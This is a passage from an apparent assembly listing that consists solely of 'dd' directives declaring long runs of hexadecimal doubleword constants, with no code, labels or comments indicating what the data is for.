605E0E00h dd 0A7CAE10Bh, 79F00FAh, 2AEFBF6Bh, 19050520h, 8D5DF917h dd 0A2FB000h, 0F612249Fh, 204AF174h, 22E9842Eh, 0F7320h dd 628D5CD1h, 237EF096h, 8A0A30FCh, 0CC70215Eh, 631DA620h dd 3D0172FBh, 0E1B465A5h, 0A88EC7F0h, 59D2DCh, 248319EDh dd 0C698EBC8h, 3BD57901h, 0EEC90662h, 5472880h, 25E929CEh dd 6D38DE60h, 773D3Eh, 3FB75C6h, 0A310DC28h, 300C4004h dd 1E80CF24h, 64178Fh, 0D5B6E9B2h, 5474BC72h, 447F6704h dd 0E0C09728h, 0AB4D56h, 0C48ADB73h, 0C5A377F5h, 6C785B0Eh dd 6D3D865Ah, 95490070h, 5867A1DEh, 0D4A3DCD8h, 0F455B9E1h dd 0C60FD1C7h, 8F63536Bh, 8037A007h, 90DF59D0h, 0F6F67Dh dd 283C832Dh, 5E24DB53h, 0FA9C9E04h, 93C13238h, 0E8C8C04Ah dd 7DCD005Fh, 66C8ACD2h, 9C008653h, 0ABEC8724h, 173907BEh dd 0BD2232h, 0C5B75522h, 5A7A78C1h, 87E02F3Bh, 0D3AF3631h dd 1E7E3340h, 0DF80000Fh, 7C8D5FC2h, 7700D8B5h, 134E6575h dd 38FFB7h, 0E1C9E42Dh, 4D52EB56h, 0F4E5ED00h, 5A6A0190h dd 0E3B20094h, 9678EF49h, 0C8F2D1A8h, 55524500h, 0D256A106h dd 858C085h, 3E596219h, 417E6A73h, 1B0CC48h, 7922AE75h dd 3AD47C8Ch, 0F4783CC2h, 80066A94h, 1F264300h, 0A8CE5886h dd 0D0759E00h, 5DB5EFE0h, 0A9390008h, 8FF46944h, 9F766D2Ch dd 5F577700h, 219C0EF8h, 17F701B0h, 2D1370F4h, 500448F3h dd 15F2EB3Eh, 0E90CF602h, 403008A3h, 0EC207AA2h, 9815D300h dd 140AA091h, 22580A26h, 840CB91Ah, 442A66D6h, 0C223DE24h dd 0C57C21C4h, 6222FA08h, 0BA872125h, 3030860Ah, 0AD9A804h dd 0DB475E40h, 2CF8196Dh, 0AA0CD550h, 43D76922h, 0EE20CE1h dd 42F64929h, 73CE14E0h, 0E20B1418h, 5A50773Ch, 0EE50F80Ch dd 5D42A618h, 7654AD2Ah, 0D87C12h, 4849B425h, 0E5DD4FEBh dd 0BED42D00h, 3A0B28FCh, 0E18C24Eh, 83E3BDC3h, 43E1EEE0h dd 9B16C9E0h, 0EF2D14h, 0DD7FF941h, 0E40A9ED4h, 0FC1217E9h dd 8D8B6803h, 243A857h, 991400ACh, 237AB156h, 6C033964h dd 0A798A8C1h, 815DB8BCh, 6A770007h, 0CF7E452Ch, 0A81D0312h dd 80002B7Dh, 0BA4395E8h, 0DBB6002Ah, 68DE45DFh, 0A37A6CF6h dd 64C5953h, 4B821D21h, 75B00C0h, 89AD209h, 8928B6F9h dd 3F0084B2h, 0BFB02316h, 7FF25B81h, 69EE07A6h, 0D757C70Dh dd 7598B149h, 47DDC8ACh, 7E895A00h, 33AE0B88h, 7F262BFFh dd 8145041Ch, 3CE3848h, 0A01CDA71h, 0C097EB32h, 46A66B37h dd 81443F0Ah, 92F8C054h, 9FEC00A4h, 784A1B7Dh, 750DE71Dh dd 294C4907h, 0AD93ECh, 0B46A6640h, 30A3F322h, 0C9B0C600h dd 950226F1h, 0C7F614BBh, 80C05C79h, 7830E141h, 4750770Fh dd 6B4801Dh, 54487Ah, 0BC293891h, 8FA5DFC9h, 0EB453400h dd 4E42C46Ch, 97C63C01h, 235E12h, 0BF7D06C0h, 2701F4F0h dd 18257858h, 17C0CA91h, 73471811h, 946A282Ah, 96993Dh dd 1C7770B0h, 5222835h, 0FE52D8C5h, 70582B1Fh, 70B1C146h dd 4C4B26h, 61CE3544h, 6E43A2h, 91C6CF36h, 9DD358D7h, 9370F500h dd 1DBC0249h, 38C748E5h, 40C5BA12h, 0ADC9783Ch, 7614E359h dd 3CC46E6h, 89BC2C94h, 0FBC6885Ch, 1ECE3F86h, 0D58E4D00h dd 0C49AA0Eh, 81747A48h, 296F1211h, 40778E0Bh, 493EE6E8h dd 90B0046h, 58639310h, 4000F00Dh, 2D45CFEBh, 6267E9E3h dd 1C19039h, 0BC48A468h, 0FDF51802h, 40C5025Dh, 5091DCh dd 0E8298C9Eh, 31D934F1h, 0B8AC7552h, 456E02C4h, 30DB0A3Fh dd 8ACE9040h, 0C9609491h, 93B5D6FAh, 994502D4h, 44BF885Fh dd 50AEA6BDh, 7E606E80h, 266B4C75h, 58046506h, 2304525Fh dd 510437DAh, 54416EC0h, 0C6F700A8h, 4B78BCBFh, 0E89131F3h dd 911C1A70h, 0FC30E0DCh, 0BA0072C8h, 0CA706C7Eh, 29A23968h dd 4084F193h, 90B9DB49h, 0C44A4E00h, 0BB8F8ACDh, 0D54D001Ch dd 0B670B745h, 0FF007A96h, 8106144Fh, 762982h, 908FD25Ch dd 19A9CD20h, 22ECB08h, 79130094h, 0F7A5ED4h, 6C2BD000h dd 78ADCDBBh, 721A02DDh, 49294C3Ch, 33E0D080h, 0E400470Dh dd 869C2685h, 9183B16Eh, 0D4135664h, 830AE44h, 1E0E044Ch dd 7879F088h, 5B561500h, 866F7534h, 78CBFC01h, 615A70C1h dd 8AB80C22h, 26640B58h, 0CB04EC84h, 7746B7A6h, 0DE02A07Bh dd 5643EC8Dh, 3FE46AFFh, 0BFEA80FCh, 0C3F7D038h, 0A5C5F10Ah dd 4880F49Ch, 2DCC1C8Dh, 7B1B2916h, 0EBD26080h, 772CC155h dd 0BDE28A2h, 0EF077E8Ah, 9088E81Ch, 6800CE30h, 33DC1DAEh dd 3491455h, 5429E986h, 101E9CFDh, 0CF04E215h, 0FC019D01h dd 8BE1DBAh, 6FDF282Dh, 104F60C4h, 4C5EE065h, 22EA41C5h dd 2090C04Bh, 0E9A4F1FCh, 61A32EA1h, 12F001B0h, 2217F83Dh dd 2C3A0140h, 0ED68A003h, 0F2ABE420h, 0B33781Eh, 130D9318h dd 56B554A0h, 165CB4AFh, 753303BCh, 0D1A5ED22h, 0E43090C9h dd 15BB076Eh, 0E15F8165h, 40DC3293h, 0CB7A63C0h, 91F2E4h dd 4688033Ch, 1CFF60DFh, 0F150B8h, 0B739BB6Fh, 1A600129h dd 0C9C7BDA0h, 0ADC2A72h, 0B1241FE4h, 0B0CE5596h, 2C1A3209h dd 2AE0901Bh, 0F4002065h, 0ACF5C8B5h, 1B852C9h, 12C62FCAh dd 0C05DDF8Bh, 3C4A511Dh, 1C58043h, 0F4200036h, 0C890A919h dd 78F0D9A6h, 9C0E1DFCh, 58A49591h, 3B1744C8h, 0F100D5DEh dd 2D465BC8h, 4D00AFA9h, 20E1E3A3h, 0C0B01040h, 7FC41810h dd 84008781h, 9697DB3Fh, 26655A4h, 4392C501h, 0D8821DACh dd 24A02B18h, 44EDC831h, 1C85B62Ah, 2C8D352Ch, 0ABEAD202h dd 6818AD14h, 1800F244h, 15A4B0AAh, 0C5E6154Fh, 609854F2h dd 18A642B5h, 3263F502h, 0B9F972C6h, 0C9A2D730h, 0F2D53430h dd 601876C8h, 69CCAD14h, 0BE0A9218h, 0A5348D0h, 496AA760h dd 0C6954248h dd 252DC81h, 0FF3059ACh, 756030E5h, 133CF39Fh, 2CC8CDh dd 0C4FAD50Dh, 0F19DBB52h, 7861B44Bh, 48C0CECFh, 0C665554h dd 52388841h, 0B582706Dh, 409053BDh, 0A0AD9135h, 34BCC78Ah dd 0D091190Ah, 13FD7200h, 14BAE26Dh, 90594D14h, 20CF5D7Bh dd 0C6310D01h, 4E54BD32h, 295D3944h, 0F5002C69h, 0ED14AA60h dd 18DD49E8h, 67E79FA0h, 0D5241CA4h, 570270E0h, 16CD2313h dd 275C71C2h, 20B5188Bh, 0D1D6898h, 0AD06A981h, 0F3109A16h dd 0FD4DB88Ah, 45F212C4h, 1E749200h, 0AB02A94h, 23585AADh dd 0D876150h, 63951868h, 392DD8ABh, 636C5047h, 0BD45CDA0h dd 43751C20h, 0F868C9BEh, 0C68D1001h, 3ECDE056h, 28B8E850h dd 0BEA2B4A3h, 38EDC885h, 0E447EF98h, 258A5500h, 90FFED2Bh dd 370A60C0h, 4C7D2C6h, 0FA92C4F9h, 34608135h, 86303030h dd 41C280A3h, 97CD9083h, 9E498Fh, 3585B485h, 0EC06991Ch dd 6238536Bh, 6C92B829h, 0A56D1848h, 4C24A8A7h, 1FBD7650h dd 714E0C11h, 30AC2BC8h, 44A69178h, 8D3C9C03h, 9940D45h dd 0E6380980h, 67067016h, 263D9CCAh, 0A1150950h, 0B881E61Eh dd 0FAB2B52Ah, 427AA894h, 3DE7E801h, 1DE0F5A5h, 1E64588Ah dd 49DF5018h, 40C80918h, 148BD560h, 0D4D74558h, 78277EA0h dd 58E81633h, 0E61BC9B5h, 6DC01422h, 0E9265999h, 209528C1h dd 3432E61Fh, 2BC107C0h, 3C00CCD5h, 1C5775A5h, 0CAC2F745h dd 0C054B708h, 8D0D5464h, 0ACA0E2F8h, 4357E4D6h, 18065814h dd 3581FA27h, 0F2A8C58Bh, 49983CDAh, 83EBD508h, 0F21500E5h dd 0B3D2B493h, 0F483258h, 5B52BECh, 4C2858D1h, 0E1B004F4h dd 0C09265ACh, 0B4D99D10h, 0EB1603ECh, 39FD1743h, 0AC68EC14h dd 0B88051E3h, 0C0A92225h, 52F04395h, 774521A0h, 948DE93Bh dd 0C01CF537h, 65DF3F38h, 14904C21h, 3A9CE328h, 91771F37h dd 0B84F6038h, 0C92EC38h, 71D0951Ah, 66894A8h, 3139B616h dd 7513D068h, 5460582Fh, 61873F27h, 82552125h, 60E09A1Bh dd 74F41650h, 0ADA1245Eh, 635851Ch, 0AC4382Eh, 9A4AD61Dh dd 31155830h, 50B55727h, 18D26C2Eh, 0FCF52995h, 81282652h dd 930DA211h, 42ECD510h, 30CD8CA2h, 0E621D40Fh, 26306968h dd 9A0F0B5h, 8C83AD8Dh, 813F64Dh, 400A16Dh, 472AA76Bh dd 66C038Bh, 1FE22B4Eh, 98DACBC0h, 0EA45F0F1h, 0B36B150Eh dd 220792D0h, 0A6434C7Ah, 20ABE0E9h, 67CBF8E8h, 860B28C7h dd 0CD6018D7h, 29E24B10h, 0E0CF047h, 0F2B5AD8h, 88003E5Eh dd 0D1CB4681h, 803EBC13h, 0E01EF4AEh, 0F381B25h, 14C95E9Fh dd 800174C6h, 60C7742Ah, 40D08EE4h, 0E04F7CE5h, 4015660Ah dd 3BE02024h, 2031C27Ch, 26E00836h, 0A40318BAh, 19C0D93Ch dd 1B603018h, 1579109h, 811140C9h, 8F24E0BBh, 1F827091h dd 7560141Fh, 0AB08C7E2h, 5020C386h, 2C312874h, 1AA43041h dd 3C2D40E0h, 9A0FC78Ah, 0C886BB85h, 5E3088C1h, 5444B88Bh dd 9B593C47h, 0CA7918F4h, 5313105Dh, 0E63E19F8h, 0D2F91B51h dd 1406E008h, 0F74C0120h, 0D96C1F8Ah, 0FD0CE02Eh, 3BF8E378h dd 0AC182878h, 8F181688h, 0EB4600E1h, 0EC1FE718h, 0F82EB0BCh dd 58302D60h, 7DD7B367h, 48FCE0h, 50494DCBh, 871A9B35h dd 37AD0502h, 40F34397h, 0A075AB0Ch, 6644E0C8h, 0F854F04Fh dd 58E56019h, 0A0F3A550h, 502937B9h, 0E83D84E7h, 13501A0h dd 0CAADC0E9h, 3EBAE0F8h, 91DE20F8h, 0E9046907h, 0C3998C80h dd 1C9D1060h, 7526C047h, 92F1ADCh, 55639725h, 0EEB4C01h dd 3CA1D784h, 0E03420D6h, 29549348h, 8D812086h, 0A86B55E7h dd 3083D084h, 9EC6032Eh, 989CE24Eh, 838518h, 270CCD40h dd 9604A397h, 60B4E12h, 374B6807h, 8D6B4770h, 0A5E1E91Eh dd 342BB441h, 571803CBh, 0D7EB5ADBh, 1C07A87Ch, 0C2C0C9C6h dd 0E009CDEh, 288B46E5h, 0B471F2Fh, 7C18B2E0h, 82B17C43h dd 50AC414Eh, 34108710h, 3C85C9C3h, 1C80C004h, 19B48C91h dd 525A088Ch, 10DDF820h, 0D009C518h, 0CAC76A75h, 18F48A58h dd 49AE12E0h, 6001A464h, 206D1E60h, 7048FA4Ch, 7811890h dd 0C6F33828h, 10280320h, 0D8B1EF03h, 0E0F60B40h, 0BFDDC0h dd 4FB47AE9h, 15B0BA94h, 9B3A9201h, 47DA738Bh, 0AF5AA0DFh dd 3A6F7C71h, 0FA0F9E42h, 0BA036A7Bh, 201D96ACh, 3A0D91F9h dd 29F010E8h, 70419D0Ah, 0E720888Dh, 14BF0F39h, 0DEF31A80h dd 0C11F9A71h, 0EC0EA2D7h, 0F2DA86DCh, 0E1949808h, 625408Ch dd 4407178h, 91CB06A3h, 0A001C09Ah, 921C411Dh, 0E54F8000h dd 8A144DDh, 6147FDF3h, 94420300h, 0E8437F9Ah, 0E8BF615Ah dd 8E0CC87Ah, 43189240h, 311E469Ah, 0BA80C9F8h, 0FA3082B2h dd 91ECA0h, 90FF461h, 0A2FB5528h, 8C968B00h, 7447EB6h dd 0C53600A9h, 71B084CFh, 0A360C85Ah, 82FAEC88h, 0A77C3C1Ah dd 90909D1Bh, 0F2316AC0h, 4A9628A8h, 0A40089FEh, 786752D7h dd 508FC537h, 57A9CC8h, 0FA83C950h, 414430C0h, 0CD30213Ah dd 34738A3h, 2FF40E99h, 6F807748h, 2ECB7314h, 688E9007h dd 0B8FAAF3Bh, 8E5FC0Ch, 0B8D45042h, 3CA7C5Fh, 0F2F0D51Ah dd 200C193Dh, 8E2715Ah, 29E47812h, 8B40B99Ah, 5D0C296Ch dd 8638A781h, 0F88F0C26h, 62A42839h, 0DD80083Eh, 6CC8F880h dd 0F1497A6Fh, 8C43030Ch, 0A1B49B68h, 7058FB69h, 906C3BF1h dd 44754F83h, 600C3987h, 858022Fh, 0F43500A9h, 0CB983CEFh dd 3F784B8Fh, 0B7D04F01h, 65D7DA71h, 48CA1C20h, 0B931089Fh dd 0BCEE9A80h, 90A21408h, 0FBEB01B0h, 520ADA82h, 5025020h dd 0C2DDF3A8h, 0ECC2C207h, 0A5DA5C40h, 4ECB0407h, 0E420FFCh dd 0BA1C40E4h, 0AE18CED5h, 40FBC6A7h, 7C202ADCh, 0F3401C91h dd 32291A6h, 0E752AAB6h, 4F802118h, 0C8CA7C6Bh, 7B899881h dd 9800663h, 0CDA37C0h, 9DC38398h, 0C544C003h, 40623A82h dd 78F7E8C8h, 3D803791h, 1EF52040h, 0F874E4DCh, 0F6A6BC02h dd 98B5DA91h, 0E86848h, 0AB59A175h, 5174C752h, 320FCB05h dd 1441FCFDh, 0AD416BD0h, 27F481FAh, 0C0432E78h, 0CFB83950h dd 0AF0072BAh, 7A71D931h, 730A8ADEh, 0B094541Ah, 0C067020Ch dd 0F3A90440h, 81DB56BDh, 4E363390h, 2E720194h, 44AA994Dh dd 6716B020h, 2085606Dh, 9341DF3h, 8354F8D1h, 8E9FD28Ah dd 0F4672439h, 0FC4F0910h, 486F4800h, 0FA1871DCh, 0F0A8B70Bh dd 0A5D0F766h, 1D5090A3h, 0F8246CBh, 1817DFAFh, 0D0BAC802h dd 0DA372090h, 46C3E01Fh, 0CA43C762h, 0AE40260Eh, 5B5A0698h dd 0E75148DAh, 0BCDFF1D4h, 63753D60h, 37642F40h, 0C4105E38h dd 0EE081F26h, 0A4DF0961h, 1FED5C05h, 5D300AECh, 14E10C9Ch dd 9CEADF0h, 471AF8Eh, 58C1CB25h, 588C05DDh, 8383B0Ch dd 60EC02E9h, 4473A70h, 78FA82F8h, 0E17C8302h, 0D87E2126h dd 0D43D3A0Ah, 2DA193Eh, 0B047A4C8h, 26728443h, 93DCB820h dd 9AF404F4h, 0C094C7D2h, 0DA947511h, 24CDF726h, 40388E0Ch dd 383D6FBAh, 42D44613h, 8907284Eh, 14FDE544h, 9A04700Ch dd 487020D0h, 7A48FC61h, 5820D3C1h, 0F8D14C17h, 0C819FB1Bh dd 0BDA4C094h, 9060D467h, 0CECB35D0h, 3FC90B4h, 921B362Fh dd 8194847Ah, 0D341E890h, 0D44294C2h, 84A80977h, 0F0D1EE74h dd 0DC203F56h, 94384C8Ch, 6E106830h, 4B803933h, 0EEFA0FCCh dd 0DBC0845Ch, 3B67B966h, 742A5903h, 22D265Ah, 203C1290h dd 6C40931Ch, 0C090509Dh dd 20C910F4h, 454143Dh, 0EF1DDB76h, 3B470492h, 0C56FA082h dd 8BB4010Ch, 3053124Ah, 9B48A780h, 4C0F0184h, 2E7A83C1h dd 671A3020h, 0DB5A08ECh, 0EABA9402h, 673A5840h, 5DE54506h dd 1FF879D1h, 79B5BFBh, 0CFF2F11Bh, 701EF06Bh, 8430350Ch dd 487A001h, 0EFF232E8h, 0CB7484A0h, 3FBD0444h, 0D4D00345h dd 0C97078E7h, 0C48991D0h, 65063C16h, 0F996E306h, 48C70160h dd 118FF43Ch, 40347564h, 53CBDA7Ch, 2315D0C9h, 3161A7C8h dd 9A10D6F0h, 3AD020A2h, 18942B49h, 27206796h, 3DD0F90Eh dd 0FA910CE7h, 0FE485037h, 0ABC00866h, 801A13C8h, 1D500997h dd 96B854A3h, 33E1819h, 7C209548h, 350F24FAh, 8D650C64h dd 5CB86B08h, 7E48D9F8h, 0B0092A60h, 38C6AC70h, 6220B34Bh dd 0C49A2812h, 2CA28443h, 0CB13A01h, 6124B888h, 7C04EB12h dd 7480961Ah, 0CB402BBAh, 0C883A958h, 812AE5Ah, 0BC1D8E7Ah dd 3A306E18h, 0A4A64C0Dh, 2C788824h, 0B72F582Ch, 0FA325414h dd 112712B4h, 83EF3406h, 29A2C30h, 58EC2630h, 2624840Ah dd 7843C99h, 5D0A71C9h, 0FF1A0B94h, 0C6B58821h, 0E205C83h dd 2126BBECh, 248BC4F5h, 0C38C82DBh, 0EBDC84ACh, 587070C4h dd 20D2F3F1h, 47020445h, 2FCB9B2Ah, 96A8627Eh, 1039FE24h dd 1A05FE1h, 0CB9D88A7h, 3C21E96Fh, 18E54C1Ch, 31B677B4h dd 60B0AA87h, 14BB6F26h, 0ACA126BBh, 0D0148E13h, 4F93B074h dd 0D9D56269h, 0C8425AE7h, 0C8819865h, 4D5DAEF9h, 7C7A041h dd 7C1A588Bh, 152B1427h, 9A307074h, 4620803Eh, 0BA271408h dd 8EE19451h, 22032B71h, 9A0752A8h, 0C589453h, 746E8B2Eh dd 0FEB6729h, 82856B3Ah, 0B7B209Eh, 0E423CFBCh, 70A5A972h dd 788EC418h, 41D81A14h, 538D14BCh, 80B4C9D0h, 9C0A77E4h dd 85FE0016h, 3CCE4FBEh, 7001F991h, 6AD7DE87h, 0A5C83805h dd 45A30049h, 1AD42FC1h, 3E2F3E7h, 23147354h, 37EE6008h dd 674F079Ch, 73B08015h, 0A6E8F263h, 0A62B139h, 1C61B3BFh dd 72C0F980h, 33DB534h, 61B6FC1h, 14C3D0EEh, 0DDAA50A0h dd 7D6E90F0h, 66278748h, 0F974D041h, 0A9A12880h, 5ACE447Ah dd 0D80068D3h, 41BF0F1h, 15707FE1h, 3CA761AEh, 518E3080h dd 3306A989h, 0DCE58FC1h, 0FB588368h, 0B6101EFEh, 1AE787FDh dd 4630800Dh, 0B4E8F26Fh, 50E1F606h, 3C905E96h, 0F060DCA7h dd 251162B8h, 3844AF2Ah, 0F68F7A06h, 0FCE81752h, 686160E4h dd 0F0E049E5h, 0E703A8A5h, 144E1F1Eh, 846ECF31h, 0A8EBD018h dd 18A68D50h, 31B6A605h, 0C006A89Fh, 15C1DCEFh, 0E87B6F07h dd 0F35F4080h, 0C30CE6E7h, 50FF2C0Fh, 70D8A062h, 0C2CA68Ah dd 1B8E94F7h, 69612F31h, 1A07088h, 60F310D0h, 0A82D4099h dd 9651C47Ah, 1C0F21C8h, 0FE0C5EB8h, 48FAF17Ch, 3C904Fh dd 0E7BE30E2h, 0BD9E1164h, 8E246C3Dh, 0E9B00AC7h, 0C341C2Ch dd 0DA0E9B86h, 42626F49h, 9895D080h, 1091A814h, 0AF92A25h dd 0E09BFE8Fh, 0C1148E14h, 84CAEF24h, 0CAAF0424h, 53E01029h dd 8FAB80F8h, 0CF50D060h, 0A5EEA7B3h, 1FF883DCh, 28E65BB1h dd 0AC53EF76h, 2E6887ACh, 3DA12006h, 0F1AB3A0Fh, 0EF9A8164h dd 0F69410h, 571FC42Fh, 830150E2h, 386948ADh, 0E1B040E7h dd 9018F175h, 0E8D0067Bh, 6F62794Dh, 29001839h, 0C4D0F3C6h dd 514A248h, 0A47AFA20h, 6F035465h, 4830D6DAh, 129DC58h dd 14754068h, 0F240DCA0h, 0F04F508Fh, 9ABB2490h, 0D4AB1410h dd 8811CFF0h, 0E98E2405h, 30C1AFC3h, 0A2C970F1h, 0A302184Ah dd 0E57FED6Fh, 0C239C4A4h, 0F045B004h, 5696F501h, 0C4518E6Dh dd 0EC4EF96Ch, 6348AA0Bh, 98C49B88h, 0CF30E0B3h, 2968B748h dd 0B814094h, 0F78418DBh, 0AF4A2F00h, 0DA291098h, 0D24018A9h dd 40496950h, 84534FD0h, 0E3E10510h, 0B021CD45h, 0EA01DDFAh dd 64B08702h, 0B6F31152h, 45E7FA6Bh, 95E00138h, 2057FB66h dd 464C8FFCh, 0C3D04228h, 0A2FA84B6h, 0DCAF02D1h, 24B10840h dd 4068D06Eh, 0F4901153h, 0DBD8A0F3h, 62017C8Ah, 0A6708067h dd 30648887h, 63E4696Ch, 0B8BC56h, 0E1B0238h, 16623F4h dd 0B5CC2B5Ch, 0C818B6D4h, 15072A94h, 0A10554C8h, 0AE593440h dd 35D414CCh, 0A00D7ACh, 5E2B1433h, 0A90E0DF6h, 0B8C09C8Fh dd 3BD77C51h, 0EC82B5C2h, 1B54CA60h, 0E951898h, 31DBB100h dd 0DC9C6619h, 3A54E2CCh, 34BDC7B3h, 0CB1DF405h, 0F31C3021h dd 0F930C97Bh, 6CBC68EFh, 34910509h, 5F2CA63Eh, 2DEA4614h dd 0DC2991F5h, 1FBE2404h, 3A05898Ah, 35C0661Bh, 0AC550534h dd 0D0180054h, 25B1F7D4h, 0A30E1C66h, 950724h, 54B4BC17h dd 1814E812h, 0E897AD0Ch, 7313422Eh, 0A000FD93h, 213F4C07h dd 125C3892h, 0A2515882h, 14983E6Ah, 61FA5A0Ch, 1252B400h dd 8C1D3032h, 140E3A96h, 3905612h, 2FA3AA14h, 29521879h dd 0E7320320h, 7BD46EEh, 1723D268h, 9250F843h, 0D5A8107Eh dd 4F200B6h, 73EAA4B8h, 145154D9h, 0EB791CE8h, 9250B009h dd 0B114BCDFh, 0C13CC72Ah, 5057F4BBh, 0B7B203DEh, 670A847h dd 0F9676FE9h, 0FE520551h, 6013431Dh, 24149F3Ch, 6FFF5C00h dd 0F63C7212h, 60F50574h, 6017FC9Eh, 9CDF1018h, 0E24C3120h dd 51D63FE6h, 11A6E393h, 0BA80448Fh, 974156E6h, 2E183280h dd 0A03431Fh, 811496A7h, 81D4C1C6h, 0BDD200E6h, 2AC30FEBh dd 0CACCD517h, 773C0A09h, 13457D4h, 0B7F970C0h, 0B4405D11h dd 1D7BC674h, 9598C7B6h, 879C3875h, 6CD28C58h, 74059230h dd 64567ED7h, 0BC141430h, 0C0F9EA87h, 1327B2F0h, 0C257168Ch dd 952606CCh, 551D98Bh, 0F825E552h, 0A33C604Ah, 3DFA749Bh dd 4D17280h, 0E1CADCECh, 0B9E560E4h, 51F06E7Ah, 0DCFC1522h dd 0C014F496h, 0A7C78FEh, 0B02C2432h, 0C3C20401h, 9CE210AAh dd 113CE2B8h, 30A1082Bh, 0DBCA305Dh, 54AE8CDh, 0AAC6D720h dd 4738312Fh, 6A2130ACh, 8FF238C0h, 570AB19Eh, 281F88D1h dd 7DBB089Dh, 0D6C79200h, 48E56AC6h, 38E06CB5h, 4310F2C1h dd 29715D0Bh, 60DC7563h, 8C68C366h, 5F6C24E9h, 2ADF9007h dd 4A41A7D6h, 4420A91Fh, 85F207BBh, 8AA8B26Ah, 92B9E064h dd 0C740CE49h, 0DE1C2872h, 6D6A0298h, 0A36CB575h, 6EA6D440h dd 7B0115F0h, 253574F3h, 605D85F9h, 0CDE46EDDh, 23C9A8Fh dd 957559A5h, 4040F7A3h, 0B1529B13h, 25FCC7F4h, 688A1452h dd 12BE3D44h, 3CA16AA4h, 6C0634C0h, 0F238506Eh, 189A2810h dd 1CC130F0h, 9CAEC608h, 759563Ch, 3442F46Eh, 0EBAF1340h dd 3119DA7Bh, 0FB40043Fh, 5015DAh, 7C77147Ah, 9209FAF4h dd 0D579ED72h, 0D969EC30h, 1E9FEA39h, 0E15C14Ah, 35FC21Ah dd 0B33C51B9h, 0F4346CE5h, 0B04CC752h, 0A0355DC6h, 277C90h dd 21583AF5h, 0AD68EAC8h, 11A2E50Fh, 5BFC8544h, 976D0C01h dd 0AE03161Eh, 992281D2h, 0CE1881FBh, 21122203h, 44281518h dd 0CA89505h, 18A106FFh, 10C50C29h, 21B3D07Ah, 18D79C7Dh dd 0A9B119D1h, 736E2884h, 0FFCD2818h, 705A2848h, 18E5540Ch dd 0B90CA881h, 2430D1E4h, 418FC4A1h, 8AEDD3Ch, 0C8750CBh dd 8A548691h, 0FA504560h, 30A83724h, 2984D581h, 15B47A0Ah dd 7D145475h, 984B4CFh, 0CAEE07F4h, 0A0FDC3B1h, 6A7F601h dd 20837D18h, 1A54B97Ch, 9002A89Ch, 2C52B780h, 5F3448C5h dd 0B8BE3965h, 4678D480h, 12EDF2DBh, 0B43D4F01h, 0A0C72945h dd 1707D0h, 335A1318h dd 0DA010A60h, 0C104E890h, 87E7E5C3h, 98900497h, 1E2F9788h dd 755E9h, 40610CAFh, 8E0063D5h, 0EFF84767h, 0C9B30DBh dd 2F83646Fh, 1503E904h, 0AB0E9AD7h, 0D5EEE008h, 1FCA1D69h dd 0C93C8027h, 0A6F86651h, 0CBB6DA1Fh, 0E2079880h, 5D808BEh dd 62C2D921h, 1C2AECh, 0A8058124h, 30A1F9F6h, 680BC09h dd 9E00EE02h, 58FD1328h, 0F2565DA7h, 0E67700A5h, 0E424CBEAh dd 0EF0042BBh, 647F33Ch, 1ED5F64Eh, 80281AD8h, 5D971025h dd 8419FC37h, 475893DBh, 5820E0h, 0EE54D80Fh, 0F8867477h dd 56288270h, 0A5021483h, 85F716BFh, 5E34A02Bh, 4B58CBh dd 9FB4D054h, 537B87B2h, 1AAFBE03h, 0C8414D45h, 600A21h dd 68FBBBC5h, 0B120613Ah, 0B0B6DF00h, 9A0BC8Fh, 0B870A9h dd 0FBE5D2E8h, 9A3B9349h, 0D700DEFAh, 0F3A616ACh, 1E629C7Ch dd 82960B5Ch, 0AD2A8A3Ah, 18541000h, 1E90013Dh, 0B9469AF7h dd 6A4F019h, 0DE0DCB8h, 18057975h, 0AE1A0568h, 0D6BF4071h dd 0EE8DFDDCh, 0FA65075Eh, 0F0C0D128h, 627EABA7h, 0A5B9470Eh dd 0C5DE8679h, 30160078h, 0BCDACFD9h, 78F0AD3Ch, 1C46B43Eh dd 6558D660h, 0CF5E689h, 5F887FD5h, 0BE40A918h, 5BA81420h dd 0E40D9C7Dh, 0F0F8831Fh, 50CCE34Fh, 3E431820h, 1D014E47h dd 4B7CD5F2h, 27E5D0E9h, 8E317862h, 0C384B814h, 96B50A50h dd 0A0CE1Dh, 74FEF560h, 0A051248h, 0B21B2F4Ah, 908BCC00h dd 3C95D288h, 3B07132Ah, 0DFBDA126h, 4D611160h, 9400EEB2h dd 0B51AF682h, 0C908A40h, 0EC229B71h, 3514B618h, 8052EFh dd 123FFC30h, 653BE456h, 20B0A04Ch, 0D52CE6C8h, 80908539h dd 1596DD5Dh, 0DA8CF8h, 0F9AD5AC0h, 59D4C15Bh, 0D0D50503h dd 0E03B7BB9h, 0F53AE6h, 7DDF452Eh, 0F105354Bh, 0A6DEAE04h dd 1080AFC7h, 70748DE3h, 514A03D4h, 0D644CC0Fh, 60DE413Fh dd 58B43029h, 0C567D1Eh, 5F807151h, 0E400E0E8h, 829757A5h dd 0E89B5Ch, 0B7B8DB4Eh, 41389020h, 0B80A8028h, 0FFD8B314h dd 0ED1D0094h, 89E7E6DCh, 0C6E8C690h, 905B17Ah, 843307A8h dd 9B453070h, 0D5C9238Bh, 1418203Fh, 9C37C3FEh, 0FAE28840h dd 489051h, 9A2F2355h, 4B36950Bh, 1428220h, 0D041FAA6h dd 8045EEE5h, 0C68B4738h, 0ECCB66Fh, 5BD41096h, 43233CC0h dd 95760CCDh, 0FCB09900h, 0C65C859Ch, 607024DDh, 0CC59096Ch dd 0E4531803h, 511F78C3h, 0FB40F636h, 0AD7C8F37h, 0A8A0A10Ch dd 887066C8h, 5B0FB2DFh, 0A3B64BF0h, 0B83DD353h, 60D1Fh dd 37E64E51h, 0DC16ECB4h, 0F198DA07h, 7C54D55Ch, 8A60A480h dd 0B2E70023h, 0F431950Dh, 0F9CE0B0Ah, 64D78F5Ch, 508A15ADh dd 0DE0DA301h, 4887BB7Fh, 9E055648h, 772A0C14h, 0B660A401h dd 6D704DD3h, 2B1C24C0h, 40EF129Ch, 0C1AE9CC4h, 94E05B7Dh dd 4F7F8300h, 0D9645601h, 0C00AF6CBh, 0ACCD4778h, 59004E6Ah dd 6405F165h, 92FD4639h, 0E9450484h, 8052A199h, 106863A4h dd 0BA7EB1C4h, 0DCF2A041h, 2BE980EAh, 928CB8BBh, 3FECA02Fh dd 40FC4D42h, 1E0901Eh, 0F2238137h, 1D0830E5h, 6AB43E19h dd 0E0D0D820h, 204B281Ch, 6F7C0184h, 4F11591h, 0C2184424h dd 0A4A15623h, 80162092h, 0EA491378h, 92979BC0h, 40472234h dd 366CBB00h, 0A691C27h, 0EC5548DDh, 536012h, 0DAC6C352h dd 